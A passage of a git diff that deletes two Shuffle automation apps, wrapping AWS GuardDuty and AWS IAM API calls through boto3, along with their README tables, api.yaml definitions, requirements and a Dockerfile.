secret_key, region, **detectorId** -|4 | Update Detector | Updates the detector | access_key, secret_key, region, **detectorId**, **enable** -|5 | Create Ip Set | Create a new IPSet, which is called a trusted IP list in the console. | access_key, secret_key, region, **detectorId**, **name**, **fileformat**, **location**, **activate** -|6 | Delete Ip Set | Deletes the IPSet. | access_key, secret_key, region, **detectorId**, **ipSetId** -|7 | List Detectors | List Detector IDs | access_key, secret_key, region -|8 | Update Ip Set | Updates the IPSet. | access_key, secret_key, region, **detectorId**, **ipSetId**, **name**, **location**, **activate** -|9 | Get Ip Set | Retrieves the IPSet. | access_key, secret_key, region, **detectorId**, **ipSetId** -|10 | List Ip Sets | Lists the IpSets. | access_key, secret_key, region, **detectorId** -|11 | Create Threat Intel Set | Create a new ThreatIntelSet. | access_key, secret_key, region, **detectorId**, **name**, **fileformat**, **location**, **activate** -|12 | Delete Threat Intel Set | Deletes the ThreatIntelSet | access_key, secret_key, region, **detectorId**, **threatIntelSetId** -|13 | Get Threat Intel Set | Retrieves the ThreatIntelSet. | access_key, secret_key, region, **detectorId**, **threatIntelSetId** -|14 | List Threat Intel Sets | Lists the ThreatIntelSets. | access_key, secret_key, region, **detectorId** -|15 | Update Threat Intel Set | Updates the ThreatIntelSet specified by the ThreatIntelSet ID. | access_key, secret_key, region, **detectorId**, **threatIntelSetId**, name, location, activate -|14 | List Findings | Lists the Findings. | access_key, secret_key, region, **detectorId** -|15 | Get Findings | Describes findings specified by finding IDs. | access_key, secret_key, region, **detectorId**, **findingIds** -|16 | Create Sample Findings | Generates example findings of types specified by the list of finding types. | access_key, secret_key, region, **detectorId**, findingIds -|17 | Archive Findings | Archieves findings that are specified by the list of finding IDs. | access_key, secret_key, region, **detectorId**, **findingIds** -|18 | Unarchive Findings | Unarchieves findings that are specified by the list of finding IDs. | access_key, secret_key, region, **detectorId**, **findingIds** -|19 | List Members | Lists details about all member accounts | access_key, secret_key, region, **detectorId** -|20 | Get Members | Retrieves member account | access_key, secret_key, region, **detectorId**,**accountIds** - - -__Note__: - - - -## Requirements -1. AWS account -2. Access key, Secret key and region of the user. -- __How to find access key & secret key ?__ -1. Open https://console.aws.amazon.com/ -2. From navbar click on user dropwodown → My Security Credentials. -3. Open the Access keys tab, and then choose Create access key. -4. To see the new access key, choose Show. Your credentials resemble the following: -- Access key ID: AKIAIOSBODNN7EXAMPLE -- Secret access key: wJalrDTtnFEMI/K7MDENG/bGdRfiCYEXAMPLEKEY -Required AWS IAM Permissions and Roles for Lambda are documented here. diff --git a/aws-guardduty/1.0.0/api.yaml b/aws-guardduty/1.0.0/api.yaml deleted file mode 100644 index 4e2d784d..00000000 --- a/aws-guardduty/1.0.0/api.yaml +++ /dev/null @@ -1,373 +0,0 @@ -app_version: 1.0.0 -name: AWS Guardduty -description: An app to interact with Amazon web service GuardDuty -contact_info: - name: "@shalinbhavsar" - url: https://shuffler.io - email: shalinbhavsar17@gmail.com -tags: - - Eradication - - AWS - - Threat Intelligence -categories: - - Eradication -authentication: - required: true - parameters: - - name: access_key - description: The access key to use - example: "*****" - required: true - schema: - type: string - - name: secret_key - description: The secret key to use - example: "*****" - required: true - schema: - type: string - - name: region - description: The region to use - example: "ap-south-1" - required: true - schema: - type: string -actions: - - name: create_detector - description: Creates a single Amazon Guardduty detector - parameters: - - name: enable - description: Value that specifies whether the detector is to be enabled - required: true - options: - - True - - False - returns: - schema: - type: string - - - name: delete_detector - description: Deletes a detector that is specified by the detector ID. - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - returns: - schema: - type: string - - - name: get_detector - description: Retrieves a detector - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - returns: - schema: - type: string - - - name: update_detector - description: Retrieves a detector - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - - name: enable - description: Value that specifies whether the detector is to be enabled - required: true - options: - - True - - False - returns: - schema: - type: string - - - name: create_ip_set - description: Create a new IPSet. - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - - name: name - description: The user-friendly name to identify the IPSet - required: true - - name: fileformat - description: The format of the file that contains the IPSet. - required: true - options: - - TXT - - STIX - - OTX_CSV - - ALIEN_VAULT - - PROOF_POINT - - FIRE_EYE - - name: location - description: The URI of the file that contains the IPSet. - required: true - example: 'https://s3.eu-central-1.amazonaws.com/test/ipset.txt' - - name: activate - description: Value that indicates whether GuardDuty is to start using the uploaded IPSet. - required: true - options: - - True - - False - returns: - schema: - type: string - - - name: delete_ip_set - description: Deletes the IPSet specified by the ipsetID - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - - name: ipSetId - description: The unique ID of the IPSet to delete - required: true - returns: - schema: - type: string - - - name: list_detectors - description: Lists detectorIds - returns: - schema: - type: string - - - name: update_ip_set - description: Updates the IPSet. - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - - name: ipSetId - description: The unique ID of the IPSet - required: true - - name: name - description: The user-friendly name to identify the IPSet - required: true - - name: location - description: The URI of the file that contains the IPSet. - required: true - example: 'https://s3.eu-central-1.amazonaws.com/test/ipset.txt' - - name: activate - description: Value that indicates whether GuardDuty is to start using the uploaded IPSet. - required: true - options: - - True - - False - returns: - schema: - type: string - - - name: get_ip_set - description: Retrieves the IPSet. - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - - name: ipSetId - description: The unique ID of the IPSet - required: true - returns: - schema: - type: string - - - name: list_ip_sets - description: Lists the IPSets of the GuardDuty - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - returns: - schema: - type: string - - - - name: create_threat_intel_set - description: Create a new ThreatIntelSet. - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - - name: name - description: The user-friendly name to identify the ThreatIntelSet. - required: true - - name: fileformat - description: The format of the file that contains the IPSet. - required: true - options: - - TXT - - STIX - - OTX_CSV - - ALIEN_VAULT - - PROOF_POINT - - FIRE_EYE - - name: location - description: The URI of the file that contains the IPSet. - required: true - example: 'https://s3.eu-central-1.amazonaws.com/test/ipset.txt' - - name: activate - description: Value that indicates whether GuardDuty is to start using the uploaded IPSet. - required: true - options: - - True - - False - returns: - schema: - type: string - - - name: delete_threat_intel_set - description: Deletes the ThreatIntelSet - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - - name: threatIntelSetId - description: The unique ID of the threatIntelSet to delete - required: true - returns: - schema: - type: string - - - name: get_threat_intel_set - description: Retrieves the ThreatIntelSet - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - - name: threatIntelSetId - description: The unique ID of the threatIntelSet to delete - required: true - returns: - schema: - type: string - - - name: list_threat_intel_sets - description: Lists the threatintelsets of the GuardDuty - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - returns: - schema: - type: string - - - name: update_threat_intel_set - description: Updates the ThreatIntelSet specified by the ThreatIntelSet ID. - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - - name: threatIntelSetId - description: The unique ID of the ThreatIntelSet - required: true - - name: name - description: The user-friendly name to identify the IPSet - required: false - - name: location - description: The URI of the file that contains the IPSet. - required: false - example: 'https://s3.eu-central-1.amazonaws.com/test/ipset.txt' - - name: activate - description: Value that indicates whether GuardDuty is to start using the uploaded IPSet. - required: false - options: - - True - - False - returns: - schema: - type: string - - - name: list_findings - description: Lists findings for the specified detector ID - parameters: - - name: detectorId - description: ID of the detector whose findings you want - required: true - returns: - schema: - type: string - - - name: get_findings - description: Describes findings specified by finding IDs. - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - - name: findingIds - description: The IDs of the findings(comma seperated) - example: Id1,Id2 - required: true - returns: - schema: - type: string - - - name: create_sample_findings - description: Generates example findings of types specified by the list of finding types. - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - - name: findingIds - description: The IDs of the findings(comma seperated) - example: Id1,Id2 - required: false - returns: - schema: - type: string - - - name: archive_findings - description: Archives findings that are specified by the list of finding IDs. - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - - name: findingIds - description: The IDs of the findings(comma seperated) - example: Id1,Id2 - required: true - returns: - schema: - type: string - - - name: unarchive_findings - description: Unarchives findings that are specified by the list of finding IDs. - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - - name: findingIds - description: The IDs of the findings(comma seperated) - example: Id1,Id2 - required: true - returns: - schema: - type: string - - - name: list_members - description: Lists details about all member accounts - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - returns: - schema: - type: string - - - name: get_members - description: Retrieves member accounts - parameters: - - name: detectorId - description: The unique ID of the detector - required: true - - name: accountIds - description: The IDs of the member accounts(comma seperated) - example: Id1,Id2 - required: true - returns: - schema: - type: string - - -large_image: data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAN4AAADeCAMAAABluU6FAAAAaVBMVEUjLz7////W2NtocHqDipJMVmIpNEM5RFH8/Pz39/gmMkG8wMTo6evr7O0vOkinrLJGUF00P02wtLpZYm3Gyc1gaHN+hY6UmaFyeoPR09Z4f4hLVWGkqa9VXmmPlZ0/SVbe4OKaoKe3u8CLX4zJAAALpklEQVR4nO1d6ZqiOhAFsVlUUFDc2v39H3J0CKnKSrAJQT/Or+sd6OSQ2rJVeT6PZD4tV3nofRTCfFVO54lAxuO4FUHmuqvvIwuKREMv2X0wtwrZLlHQi5eR6851gWgZy+gtflx3rCv8LER6h68YugrRgadXfJip1CMsWHqF6w51jQLTO3zV2L0QHoDe4ov0rka0qOnFX2MzMX5iQm/puid2sKzoJV8omi9EyX96O9f9sIXdi17y8XGmClnypPd1Lg9QPOkFrjthD4Hvfa9svqTTm7vug03MvanrLtjE1Ctdd8EmSm/lugs2sfJy112widz7uqkQxleTGzFiRI3sWByK43eGgbOS7AAkRTlz3ZmusbrD2rHvL+7fFE7k24PP47D9jogiDOaxQO7/ns08+Hi/ez6lUm4V0tPZdQf/gOvlpuFW4Xa5uu7mW8j2m0ZuFTb7j/MVa34fWIukWLvucAusdotmShwWu8/wFTIvUOO2O+/U6jh8XzELHnIvgCRQI7fxIxhwQPOj9gLxZg9OLtxvlB8hPQ1zwyqaTpRiN7nw+zTRRfP0dGi7Otkb46Ef6wH5ivXSUJvOl+UFxSlaTV0Ow1dcTW1huK/kcXJEoabezroOaDJN79hZT7QDUUx3WLnYuRL/fdwJ6ax8KIXyOWfFj545KYwfjOiVal+RPNxMfn/vZl4ApJIFI6N6X3H/7ZmbzgvcWC+ApZLvNqNbkWZ+0aevCPeKCaovzuB4qWTByahudhjP971Mfs8aL8DNv+VSyY3LkX1FNbf3X77C+uQ30HiBKRsRq6WSBSejXq4TfLt75TtVu8Lal14qWfAyqvMVNs+pnOVNcl7ATCpZTPjVXaWvsCigS1l7G75nplLJgpdRLztKVzMsnhETQxRxJUgllemD/udDTl+QUela1MEePU7kRFMW7hVB2tNABvRHEB4VwjsRgjDBUE/6oSdxRCqprIYF0fM0g8zLKO9me6E3mQrrIudC1eEq4mDpaT7GXJgKYV/RBz2hDZ1Ukkd4erqXtkKEom7aPj29VCrpeboh52TUHb0mqdTR08ko40wd0TOQSj09zZ+4ITvqhF54MXVhGnqeWgCSe03QBb1cHmCLxv0FHT21jNa3EFzQk0ZNglQS6OkpZXQjb9oGuDZ+xc7IpJKgiZ6nkNEfWdNWwLVx5Hsil0oCA3qvFQlBRo+ypq2Aa2PK9kMllQRG9DxvxsvoVNa0FWjoaaSSwJDeEz+MjA6AnlYqCczpPU3yBabrA6BnsmnVht5zBEd6XWOkp8ZID2Gk1zlGemqM9BBGep1jpKfGSA9hpNc5RnpqjPQQRnqdY6SnxkgPYaTXOUZ6aoz0EEZ6nWOkp8ZID2Gk1zlGemqM9BBGep1jpKfGSA9hpNc5RnpqjPQQRnqdY6SnxkgPYQD0trQLJrfO2tGDu3RbWdNWwLWxp10wyWLajl5Jn97LmrYCro2A64Ie7ejtuacd0AMBMkmx244e6PVZ1rQVcG1EtAt3g5fb0bvTpyNZ01ZAD3Hf/v+c0S48DF5uR+9Bn65yKtALIRZvX87rNtLqNz2Ub/JJ29GbqJqymEmbftK4+qT0Fkpi8HI7evRKaXULZUbPxpsIyps4cQoBN6ENMqu0onelD1c3nUHNT38hoMeFNlKFKdM2PW5FDx6ujDIEMZe/ENDjyPUQfK+B6WxF704fLrmXTVzsmwA61TfN6e9N88ut6MHdsuoKMsiJxTTvoBFEA+hdEQPb0ooetSyL6jdovcX8SWC/yGiBd2rO8NeG3oo+SwwlHc3YZmoh6lzJRwWZ2Ta+24YezEVIuEfF5PZ+55tB/TpRiTX93ext29CDdqp7ZXmLdv6AO22m0vCQSmvSmOqnBb2Qql5c/dlWJvp9wDSFuB+wcI0WrQU9YEN0HByuRb+ATSdReVC+xs/agh4ICVE9MGF2E8/RyJbYFjBxt6ZXW9CD++LEIFPLkv6l880AYYy4hv3uLpeCwSIfESJOg/DhLwCxIUoA/rYpy485PYjUSfQAKm+5Yhn0kVTXAivQVLHJmF4G+XWIvSpMX/0rwAHVWgDS2WDUjOnBWBHZBI33bScHprPoeukWxLVBL4zpgX4TawyzIYsrERUgERvxfGA7GxZzTemhZGjEboLXs14sEKxaPViQJEAfMJnSg4CsHisYTusJZWcQLxHXAOGvftpgSA9JAwnTI4j87GcihQCCRBQZKL62VqEhPbCSKTHFEBlZXEaqAYNVr/6BOsa64TOjt4J0EbWigTU7dkNBhxzaJ2Ry8FM642lGD/QsIU4AssLEfeSMB9Wvo2iIXHQ9N6IHD9EVvzv9P73UQoQeLIimX2FAb+ppnwm9EILpmMwNZguD9zoEzDVpnALmQLMMaUIPPBw1UxDDpP1UhoGItzYuETBOlNbFgN4K/Z06hRsYlp6qN4Nnp24WffWJ6hs30wuBCpWCUmzMNkBBamUPUS5b1SZAMz1kohb1RwJLeuuSgg6SOAVZPNWqSyM9NFD0EZQrrAenVyGEOIXGESgjWypfD2mid0UpvKj/hBipJ8PyAlK1epaArIJ/k7rfBno4IR+1T0jNLe4MCV0BLnRfFkmsf5BN3PX0MpydrF7ynoGt6bV6MzICVCUeqH9zSWivpTebo7epxKNPZnHXUgSKU+q43stxJvBC5KejN0OBgb+oZRvNReJ+C2vcoTd0/XaNc8PNBUugoRfisYupf5M10g/wh6VxCrI4T/3j7YuaXs5kBaQ2ZCURkb6A1OJAB4pJqn7j5ElJ78okMaWhF45hevN5FKhxKjmMgfBT1r+r6JVMykowSsh8WV8gE4FcEvQ3Y5NP3rECyumFd+YNcCk4DnJRYxE5gpRmaOay5U5QkRYpvd8J8zwEBFcUJmiXcGwBd+BARYpVJD+50AGU0AsvbD57UNcZEoPETUkwnH0UDHfOJUdd1GZBpHfkamYgY4sUz2Db3g6wIYETnYwTe2HCn7whZ34m3HPIVWIX08PqnxxMnALfeCYU3djsZxy9mVj4cwmBDpaLm7syWWccp6ANIrEiTLqLED1Zjm20fYCj89hlZVosRDEyiKVYiSYGnTyI2acXyEfu8T+YHGO2ByximF/+8NvggSK4gAld+6eEwahfjG3c0bzwbIJjrilmt3Bdy/SX0aIChSkr46rBaO0wwzMjP3Vfi/bMjNIBu2DB9MswwZHplXkjHUIR0zXDL8WWbrZtKriUbvG8d808ngyjnHfJ8IunuMPZTqeCyQ47tfDCWNRkGLU9OVv3FDfmq4dblYhy9WrWbLQaWzx22xJ7zpEVrMFbS0oq8SnyI86TxL1sBxmi5HQs5cLg6MK48vjAlRGeTTkZTocimRVWfFWUyZ5bK8thEnDivJlYz27iuuIsj4yfJ/iLCxsM/56W88ltMl+e2EKkuVhA4zGgksg1Lnwn/eTU7JZ/xVKacY/r7S0QSHzA/KgLq6KtJLJJh2MyWcjDsMNFHnycd1KPsRma2iHsFbWSTgFrKa/BUvHkkPyBiOykKliabk7bc+Zl6+3yoIpk4vsAbQqLH3UN7xdJ3T9u+q7t/BYa42g5Fv2vtL8HZeVODYQwYNAoBS+vg6Tc5dCxUpe+5pCcBuwL1Min6hLxMHAbodTs5yDbFzo7kxbB53KrMFvf5TUWJ/dhLDb8HdfgvsGamG52gZttH3u4ltvT5jC/b9ffxswZ+juo5QCh53qR2ypyz/0qt0WsvKHOjDtB6bndPrOMqed4/8wu5l6vxyR7RpZ4/Vx9cIPA99yc+OkHxZPe90pnljzp2b+v6Qo7/0XP0Ykt63hd/HnS6+tqTt94HY160YuHsEHfOX5iQs9ffKF4Rv/P2/ynhw5DfwvCaqm8ovd9zo8c/iH0mNNEn4+wPtpU02NPE304IrqJQ+n5i6+xnz9wig/o+fHyKwYwWqKVcUSPPwL1keDOeDH0ngQ/elE8Cwpu14aj92I4n5ar/MMMaZivyulc3JH6ByjtjNake+pGAAAAAElFTkSuQmCC diff --git a/aws-guardduty/1.0.0/requirements.txt b/aws-guardduty/1.0.0/requirements.txt deleted file mode 100644 index f9c46b04..00000000 --- a/aws-guardduty/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -boto3==1.16.59 -requests==2.25.1 diff --git a/aws-guardduty/1.0.0/src/app.py b/aws-guardduty/1.0.0/src/app.py deleted file mode 100644 index fd90f85a..00000000 --- a/aws-guardduty/1.0.0/src/app.py +++ /dev/null @@ -1,271 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import boto3 -import botocore -from botocore.config import Config - -from walkoff_app_sdk.app_base import AppBase - -class AWSGuardduty(AppBase): - __version__ = "1.0.0" - app_name = "AWS Guardduty" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def auth_guardduty(self, access_key, secret_key, region): - my_config = Config( - region_name = region, - signature_version = "v4", - retries = { - 'max_attempts': 10, - 'mode': 'standard' - }, - ) - - return boto3.client( - 'guardduty', - config=my_config, - aws_access_key_id=access_key, - aws_secret_access_key=secret_key, - ) - - - def create_detector(self, access_key, secret_key, region, enable): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.create_detector(bool(enable)) - except Exception as e: - return f"Error: {e}" - - def delete_detector(self, access_key, secret_key, region, detectorId): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.delete_detector( - DetectorId = detectorId - ) - except Exception as e: - return f"Error: {e}" - - def get_detector(self, access_key, secret_key, region, detectorId): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.get_detector( - DetectorId = detectorId - ) - except Exception as e: - return f"Error: {e}" - - def update_detector(self, access_key, secret_key, region, detectorId, enable): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.update_detector( - DetectorId = detectorId, - Enable = bool(enable) - ) - except Exception as e: - return f"Error: {e}" - - def create_ip_set(self, access_key, secret_key, region, detectorId, name, fileformat, location, activate): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.create_ip_set( - DetectorId = detectorId, - Name = name, - Format = fileformat, - Location = location, - Activate = bool(activate) - ) - except Exception as e: - return f"Error: {e}" - - def delete_ip_set(self, access_key, secret_key, region, detectorId, ipSetId): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.delete_ip_set( - DetectorId = detectorId, - IpSetId = ipSetId - ) - except Exception as e: - return f"Error: {e}" - - def list_detectors(self, access_key, secret_key, region): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.list_detectors() - except Exception as e: - return f"Error: {e}" - - def update_ip_set(self, access_key, secret_key, region, detectorId, ipSetId, name, location, activate): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.update_ip_set( - DetectorId = detectorId, - IpSetId = ipSetId, - Name = name, - Location = location, - Activate = bool(activate) - ) - except Exception as e: - return f"Error: {e}" - - def get_ip_set(self, access_key, secret_key, region, detectorId, ipSetId): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.get_ip_set( - DetectorId = detectorId, - IpSetId = ipSetId, - ) - except Exception as e: - return f"Error: {e}" - - def list_ip_sets(self, access_key, secret_key, region, detectorId): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.list_ip_sets( - DetectorId = detectorId - ) - except Exception as e: - return f"Error: {e}" - - - def create_threat_intel_set(self, access_key, secret_key, region, detectorId, name, fileformat, location, activate): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.create_threat_intel_set( - DetectorId = detectorId, - Name = name, - Format = fileformat, - Location = location, - Activate = bool(activate) - ) - except Exception as e: - return f"Error: {e}" - - def delete_threat_intel_set(self, access_key, secret_key, region, detectorId, threatIntelSetId): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.delete_threat_intel_set( - DetectorId = detectorId, - ThreatIntelSetId = threatIntelSetId - ) - except Exception as e: - return f"Error: {e}" - - def get_threat_intel_set(self, access_key, secret_key, region, detectorId, threatIntelSetId): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.get_threat_intel_set( - DetectorId = detectorId, - ThreatIntelSetId = threatIntelSetId - ) - except Exception as e: - return f"Error: {e}" - - def list_threat_intel_sets(self, access_key, secret_key, region, detectorId): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.list_threat_intel_sets( - DetectorId = detectorId - ) - except Exception as e: - return f"Error: {e}" - - def update_threat_intel_set(self, access_key, secret_key, region, detectorId, threatIntelSetId, name, location, activate): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.update_threat_intel_set( - DetectorId = detectorId, - ThreatIntelSetId = threatIntelSetId, - Name = name, - Location = location, - Activate = bool(activate) - ) - except Exception as e: - return f"Error: {e}" - - def list_findings(self, access_key, secret_key, region, detectorId): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.list_findings( - DetectorId = detectorId - ) - except Exception as e: - return f"Error: {e}" - - def get_findings(self, access_key, secret_key, region, detectorId, findingIds): - client = self.auth_guardduty(access_key, secret_key, region) - try: - findingIds = findingIds.split(',') - return client.get_findings( - DetectorId = detectorId, - FindingIds = findingIds - ) - except Exception as e: - return f"Error: {e}" - - def create_sample_findings(self, access_key, secret_key, region, detectorId, findingIds): - client = self.auth_guardduty(access_key, secret_key, region) - try: - findingIds = findingIds.split(',') - return client.create_sample_findings( - DetectorId = detectorId, - FindingIds = findingIds - ) - except Exception as e: - return f"Error: {e}" - - def archive_findings(self,access_key, secret_key, region, detectorId, findingIds): - client = self.auth_guardduty(access_key, secret_key, region) - try: - findingIds = findingIds.split(',') - return client.archive_findings( - DetectorId = detectorId, - FindingIds = findingIds - ) - except Exception as e: - return f"Error: {e}" - - def unarchive_findings(self,access_key, secret_key, region, detectorId, findingIds): - client = self.auth_guardduty(access_key, secret_key, region) - try: - findingIds = findingIds.split(',') - return client.unarchive_findings( - DetectorId = detectorId, - FindingIds = findingIds - ) - except Exception as e: - return f"Error: {e}" - - def list_members(self,access_key, secret_key, region, detectorId): - client = self.auth_guardduty(access_key, secret_key, region) - try: - return client.list_members( - DetectorId = detectorId, - ) - except Exception as e: - return f"Error: {e}" - - def get_members(self,access_key, secret_key, region, detectorId, accountIds): - client = self.auth_guardduty(access_key, secret_key, region) - try: - accountIds = accountIds.split(',') - return client.get_members( - DetectorId = detectorId, - AccountIds = accountIds - ) - except Exception as e: - return f"Error: {e}" - - -if __name__ == "__main__": - AWSGuardduty.run() diff --git a/aws-iam/1.0.0/Dockerfile b/aws-iam/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/aws-iam/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/aws-iam/1.0.0/README.md b/aws-iam/1.0.0/README.md deleted file mode 100644 index 527faf82..00000000 --- a/aws-iam/1.0.0/README.md +++ /dev/null @@ -1,38 +0,0 @@ -## AWS IAM App -Aws IAM (Identity and Access Management) app for managing IAM operations from the shuffle. - -![alt_text](https://github.com/Shuffle/python-apps/blob/master/aws-iam/1.0.0/aws-iam.png?raw=true) - -## Actions - -| No. | Action | Description | Parameters | -|-----|--------|-------------|------------| -|1 | Get user | Retrieves information about the specified IAM user, including the user's creation date, path, unique ID, and ARN | access_key, secret_key, region, user_name -|2 | Change password | Change password of the specified user | access_key, secret_key, region, username, password -|3 | List users | Lists the IAM users | access_key, secret_key, region, path_prefix, marker, max_items -|4 | List user tags | Lists the tags that are attached to the specified IAM user | access_key, secret_key, region, user_name, marker, max_items -|5 | List attached user policies | Lists all managed policies that are attached to the specified IAM user | access_key, secret_key, region, user_name, marker, max_items -|6 | Attach user policy | Attach policy to the user | access_key, secret_key, region, username, policy_arn -|7 | Get instance profile | Retrieves information about the specified instance profile, including the instance profile's path, GUID, ARN, and role. | access_key, secret_key, region, instance_profile_name -|8 | List access keys | List all access keys | access_key, secret_key, region, username, marker, max_items -|9 | List ssh public keys | List SSH public keys | access_key, secret_key, region, username, marker, max_items - -__Note__: access_key, secret_key and region are used for authentication. - -## Requirements - -1. AWS account -2. Access key, Secret key and region of the user. - -- __How to find access key & secret key ?__ -1. Open https://console.aws.amazon.com/ -2. From navbar click on user dropwodown → My Security Credentials. -3. Open the Access keys tab, and then choose Create access key. -4. To see the new access key, choose Show. Your credentials resemble the following: - - Access key ID: AKIAIOSFODNN7EXAMPLE - - Secret access key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY - - ## Note - Some actions have marker and max_items parameters (Both are used for paginating results). - - marker : Use this parameter only when paginating results and only after you receive a response indicating that the results are truncated. Set it to the value of the marker element in the response that you received to indicate where the next call should start. - - max_items : Use this only when paginating results to indicate the maximum number of items you want in the response. diff --git a/aws-iam/1.0.0/api.yaml b/aws-iam/1.0.0/api.yaml deleted file mode 100644 index 5ffaf18e..00000000 --- a/aws-iam/1.0.0/api.yaml +++ /dev/null @@ -1,237 +0,0 @@ -app_version: 1.0.0 -name: AWS IAM -description: An app to interact with Amazon IAM -contact_info: - name: "@dhaval055" - url: https://shuffler.io - email: dhavald@inforpercept.com -tags: - - Access - - Users -categories: - - IAM -authentication: - required: true - parameters: - - name: access_key - description: The access key to use - example: "*****" - required: true - schema: - type: string - - name: secret_key - description: The secret key to use - example: "*****" - required: true - schema: - type: string - - name: region - description: The region to use - example: "ap-south-1" - required: true - schema: - type: string -actions: - - name: change_password - description: Change password of the specified user - parameters: - - name: username - description: Username to change password - required: true - multiline: false - example: 'johnwiliams' - schema: - type: string - - name: password - description: New password for user - required: true - multiline: false - example: '*****' - schema: - type: string - returns: - schema: - type: string - - name: attach_user_policy - description: Attach policy to the user. - parameters: - - name: username - description: Username you want to attach policy to. - required: true - multiline: false - example: 'johnwiliams' - schema: - type: string - - name: policy_arn - description: Amazon Resource Names (ARNs) uniquely identify AWS resources. - required: true - multiline: true - example: 'arn:aws:iam::aws:policy/AdministratorAccess' - schema: - type: string - returns: - schema: - type: string - - name: list_access_keys - description: List all access keys - parameters: - - name: username - description: List all access keys of this username - required: true - multiline: false - example: 'johnwiliams' - schema: - type: string - - name: marker - description: Use this parameter only when paginating results and only after you receive a response indicating that the results are truncated. - required: false - multiline: false - example: '10' - schema: - type: string - - name: max_items - description: Use this only when paginating results to indicate the maximum number of items you want in the response. - required: false - multiline: false - example: '123' - schema: - type: string - returns: - schema: - type: string - - name: list_ssh_public_keys - description: List SSH public keys - parameters: - - name: username - description: List SSH public keys of this username - required: true - multiline: false - example: 'johnwiliams' - schema: - type: string - - name: marker - description: Use this parameter only when paginating results and only after you receive a response indicating that the results are truncated. - required: false - multiline: false - example: '10' - schema: - type: string - - name: max_items - description: Use this only when paginating results to indicate the maximum number of items you want in the response. - required: false - multiline: false - example: '123' - schema: - type: string - returns: - schema: - type: string - - name: get_instance_profile - description: Retrieves information about the specified instance profile, including the instance profile's path, GUID, ARN, and role. - parameters: - - name: instance_profile_name - description: The name of the instance profile to get information about. - required: true - multiline: false - example: 'ExampleInstanceProfile' - schema: - type: string - returns: - schema: - type: string - - name: get_user - description: Retrieves information about the specified IAM user, including the user's creation date, path, unique ID, and ARN. - parameters: - - name: user_name - description: The name of the user to get information about. - required: true - multiline: false - example: 'Bob' - schema: - type: string - returns: - schema: - type: string - - name: list_attached_user_policies - description: Lists all managed policies that are attached to the specified IAM user. - parameters: - - name: user_name - description: The name (friendly name, not ARN) of the user to list attached policies for. - required: true - multiline: false - example: 'johnwiliams' - schema: - type: string - - name: marker - description: Use this parameter only when paginating results and only after you receive a response indicating that the results are truncated. - required: false - multiline: false - example: '10' - schema: - type: string - - name: max_items - description: Use this only when paginating results to indicate the maximum number of items you want in the response. - required: false - multiline: false - example: '123' - schema: - type: string - returns: - schema: - type: string - - name: list_users - description: Lists the IAM users - parameters: - - name: path_prefix - description: The path prefix for filtering the results. - required: true - multiline: false - example: '"/" for all users' - schema: - type: string - - name: marker - description: Use this parameter only when paginating results and only after you receive a response indicating that the results are truncated. - required: false - multiline: false - example: '10' - schema: - type: string - - name: max_items - description: Use this only when paginating results to indicate the maximum number of items you want in the response. - required: false - multiline: false - example: '123' - schema: - type: string - returns: - schema: - type: string - - name: list_user_tags - description: Lists the tags that are attached to the specified IAM user. - parameters: - - name: user_name - description: The path prefix for filtering the results. - required: true - multiline: false - example: 'JohnDoe' - schema: - type: string - - name: marker - description: Use this parameter only when paginating results and only after you receive a response indicating that the results are truncated. - required: false - multiline: false - example: '10' - schema: - type: string - - name: max_items - description: Use this only when paginating results to indicate the maximum number of items you want in the response. - required: false - multiline: false - example: '123' - schema: - type: string - returns: - schema: - type: string - -large_image: 